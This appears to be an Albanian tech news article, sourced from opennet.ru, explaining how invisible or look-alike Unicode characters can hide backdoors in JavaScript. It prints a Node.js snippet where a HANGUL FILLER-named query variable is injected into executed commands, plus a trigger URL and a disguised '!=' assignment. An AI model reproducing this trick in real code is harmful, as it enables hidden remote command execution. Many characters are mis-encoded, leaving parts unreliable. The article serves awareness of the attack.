Përdorimi i simboleve Unicode të padukshme për të fshehur veprimet në kodin JavaScript

Pas metodĂ«s sĂ« sulmit Trojan Source, e bazuar nĂ« pĂ«rdorimin e simboleve Unicode qĂ« ndryshojnĂ« renditjen e tekstit dykahor, Ă«shtĂ« publikuar njĂ« teknikĂ« tjetĂ«r pĂ«r futjen e veprimeve tĂ« fshehura, e cila Ă«shtĂ« e aplikueshme pĂ«r kodin nĂ« gjuhĂ«n JavaScript. Metoda e re bazohet nĂ« pĂ«rdorimin e simbolit unicode «ㅀ» (kode 0x3164, «HANGUL FILLER»), i cili i pĂ«rket kategorisĂ« sĂ« shkronjave, por nuk ka pĂ«rmbajtje tĂ« dukshme. Kategoria Unicode, nĂ« tĂ« cilĂ«n hyn ky simbol, Ă«shtĂ« e lejuar qĂ« nga specifikimi ECMAScript 2015 pĂ«r pĂ«rdorim nĂ« emrat e variablave JavaScript, çka e mundĂ«son krijimin e variablave tĂ« padukshme ose variablave tĂ« rinj, tĂ« padallueshĂ«m nga variablat e tjerĂ« nĂ« redaktorĂ«t e njohur tĂ« kodit, si Notepad++ dhe VS Code.

Si njĂ« shembull, Ă«shtĂ« dhĂ«nĂ« kodi pĂ«r platformĂ«n Node.js, nĂ« tĂ« cilin me anĂ« tĂ« njĂ« variabli, i pĂ«rbĂ«rĂ« nga njĂ« simbol «ㅀ», Ă«shtĂ« fshehur njĂ« backdoor, i cili lejon ekzekutimin e kodit tĂ« specifikuar nga sulmuesi: app.get(‘/network_health’, async (req, res) => { const { timeout,ă…€} = req.query; // nĂ« tĂ« vĂ«rtetĂ« Ă«shtĂ« e specifikuar «const { timeout,ă…€ \u3164}» const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ă…€ // pas presjes Ă«shtĂ« simboli \u3164 ];

Në shikim të parë, vetëm vlera timeout kalon përmes një parametri të jashtëm, dhe array me komandat në ekzekutim përmban një listë të fixuar pa rrezik. Por në realitet, pas variablës timeout, caktohet vlera e një variabli tjetër të padukshëm me kodin e simbolit \u3164, i cili gjithashtu është vendosur në array-n e komandave në ekzekutim. Kështu, me një strukturë të tillë, për të aktivizuar backdoor-in dhe për të ekzekutuar kodin e tij, sulmuesi mund të dërgojë një kërkesë si «https://host:8080/network_health?=komanda».

Si njĂ« tjetĂ«r shembull jepet simboli «ǃ» (ALVEOLAR CLICK), i cili mund tĂ« pĂ«rdoret pĂ«r tĂ« krijuar iluzionin e pragut tĂ« shenjĂ«s sĂ« thirrjes. PĂ«r shembull, shprehja «if(environmentǃ=ENV_PROD){» gjatĂ« ekzekutimit nĂ« Node.js 14 do tĂ« jetĂ« gjithmonĂ« e vĂ«rtetĂ«, pasi nĂ« tĂ« nuk bĂ«het kontroll i dallimit, por caktohet variabli «environmentǃ» vlera ENV_PROD. NdĂ«r simbolet e tjera tĂ« ngatĂ«rrueshme unicode, janĂ« tĂ« pĂ«rmendura edhe «», «−», «», «⩔», «❚», «⫝̸», Â«ê“żÂ» dhe «∗».

Burimi: opennet.ru

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster